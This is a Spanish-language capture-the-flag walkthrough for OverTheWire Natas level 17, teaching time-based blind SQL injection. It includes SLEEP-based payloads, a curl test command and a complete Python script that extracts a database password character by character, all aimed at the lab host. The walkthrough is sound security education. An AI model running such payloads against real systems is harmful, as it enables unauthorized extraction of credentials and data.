Natas Nivel 17 a 18
Nivel oficial: http://natas17.natas.labs.overthewire.org
Este nivel es un laboratorio legal y autorizado de OverTheWire — nunca apliques estas tecnicas fuera de entornos de practica con permiso explicito. El reto introduce la variante mas sigilosa de la inyeccion SQL: la aplicacion no muestra ningun texto diferente segun el resultado de la consulta, por lo que hay que medir el tiempo de respuesta del servidor para extraer informacion bit a bit.
Objetivo
Extraer la contrasena de natas18 abusando de una SQLi ciega basada en tiempo (SLEEP) sobre el formulario de busqueda de usuarios.
Que aprendes
| Concepto / Comando | Para que sirve |
|---|---|
SLEEP(n) (MySQL) | Retrasa la respuesta n segundos si la condicion es verdadera |
IF(cond, a, b) | Evalua cond y devuelve a o b; usado junto a SLEEP |
LIKE BINARY | Comparacion de cadenas sensible a mayusculas/minusculas |
time.time() / requests (Python) | Medir el tiempo de respuesta HTTP para inferir verdad/falso |
| Script de fuerza bruta caracter a caracter | Automatizar la extraccion de la contrasena completa |
Concepto clave
Time-based blind SQLi es la tecnica que se usa cuando una inyeccion SQL existe pero la aplicacion no delata el resultado de ninguna manera visible (ni texto diferente, ni error, ni redirecciones distintas). La unica diferencia observable es el tiempo que tarda la respuesta:
- Si la condicion inyectada es verdadera →
SLEEP(n)se ejecuta → la respuesta llega con~nsegundos de retraso. - Si la condicion es falsa → sin retardo → respuesta inmediata.
El atacante itera sobre cada posicion de la contrasena y sobre el juego de caracteres posible, enviando peticiones del tipo:
-- Pseudocodigo del payload
username = natas18" AND IF(password LIKE BINARY "<prefijo_conocido>%", SLEEP(3), 0) #Si la respuesta tarda ~3 s, el prefijo es correcto y se fija ese caracter; si responde en <1 s, se prueba el siguiente caracter del alfabeto.
Por que
LIKE BINARY: la contrasena de Natas usa caracteres alfanumericos y distingue mayusculas. SinBINARY,LIKEes insensible a mayusculas en MySQL y se obtendrian falsos positivos.
Paso a paso
- Autenticarse en el nivel anterior. Conectarse a
natas17con las credenciales obtenidas en el nivel 16:
# Usuario: natas17
# Contrasena: <pass_natas17>
# URL: http://natas17.natas.labs.overthewire.org- Leer el codigo fuente. Abrir:
http://natas17.natas.labs.overthewire.org/index.php?source
El fragmento relevante del PHP sera similar a:
$query = "SELECT * from users where username=\"". $username ."\"";
$res = mysqli_query($link, $query);
if($res) {
if(mysqli_num_rows($res) > 0) {
//Do nothing — sin echo diferenciador visible
}
}La aplicacion no imprime nada distinto si el usuario existe o no: la unica palanca disponible es el tiempo de respuesta.
- Verificar manualmente el canal de tiempo. Desde la terminal, inyectar un payload de prueba que duerma 3 segundos si la tabla existe:
curl -s -o /dev/null -w "%{time_total}\n" \
--user natas17:<pass_natas17> \
--data 'username=natas18" AND SLEEP(3) #' \
http://natas17.natas.labs.overthewire.org/Si el tiempo reportado es ~3 s, el canal de tiempo funciona y la inyeccion es viable.
- Automatizar la extraccion caracter a caracter. El siguiente script Python itera sobre cada posicion de la contrasena y sobre el juego de caracteres alfanumerico. Guardalo como
exploit_natas17.pyen tu maquina local:
import requests
import time
import string
URL = "http://natas17.natas.labs.overthewire.org/"
AUTH = ("natas17", "<pass_natas17>")
CHARSET = string.ascii_letters + string.digits
SLEEP = 3 # segundos de retardo si la condicion es verdadera
THRESHOLD = 2.0 # umbral: respuesta > THRESHOLD => condicion verdadera
password = ""
for position in range(1, 33): # las contrasenas de Natas suelen tener 32 caracteres
found = False
for char in CHARSET:
prefix = password + char
payload = f'natas18" AND IF(password LIKE BINARY "{prefix}%",SLEEP({SLEEP}),0) #'
t0 = time.time()
requests.post(URL, auth=AUTH, data={"username": payload})
elapsed = time.time() - t0
if elapsed > THRESHOLD:
password += char
print(f"[+] Posicion {position}: '{char}' -> password hasta ahora: {password}")
found = True
break
if not found:
print(f"[!] No se encontro caracter valido en posicion {position}. Contrasena parcial: {password}")
break
print(f"\n[*] Contrasena completa: {password}")Ejecutar:
python3 exploit_natas17.pyNota: El script asume 32 caracteres y el juego
[a-zA-Z0-9]. Si el nivel usa un juego diferente, ampliarCHARSET. El umbral de 2.0 s es conservador para conexiones con latencia baja; ajustaTHRESHOLDsi experimentas falsos positivos/negativos en tu red.
- Recoger la contrasena. Al finalizar el script:
[*] Contrasena completa: <pass_natas18>
- Verificar. Abrir el nivel 18 con las credenciales obtenidas para confirmar el acceso antes de pasar.
Por que funciona
MySQL ejecuta IF(cond, SLEEP(3), 0) dentro del motor de base de datos, antes de devolver la respuesta HTTP. Cuando la condicion es verdadera, el hilo de MySQL queda bloqueado n segundos, y ese retardo se propaga integramente hasta el cliente HTTP. No hay ninguna diferencia en el cuerpo de la respuesta — solo en el tiempo de transito. El atacante convierte el canal temporal (latencia) en un canal de informacion binario: tarda/no-tarda equivale a verdadero/falso. Con 32 posiciones y ~62 caracteres posibles se necesitan como maximo 32 x 62 = ~1984 peticiones para reconstruir la contrasena completa.
Errores comunes
| Error | Causa | Solucion |
|---|---|---|
| Falsos negativos (caracter correcto no detectado) | Latencia de red variable supera el umbral | Aumentar SLEEP a 5 s y THRESHOLD a 3.5 s |
| Falsos positivos (caracter incorrecto detectado) | Pico de latencia coincide con el retardo esperado | Repetir la peticion sospechosa dos veces y aceptar solo si ambas superan el umbral |
| Script se detiene antes de completar 32 caracteres | La contrasena es mas corta de lo esperado | Detectar cuando found == False en la posicion N y asumir que la contrasena termino en N-1 |
LIKE BINARY no distingue bien | Se omitio BINARY y se mezclan mayusculas y minusculas | Asegurarse de que el payload incluye LIKE BINARY y no solo LIKE |
Pasar al siguiente nivel
Conectarse a natas18 con las credenciales extraidas:
URL: http://natas18.natas.labs.overthewire.org
Usuario: natas18
Contrasena: <pass_natas18>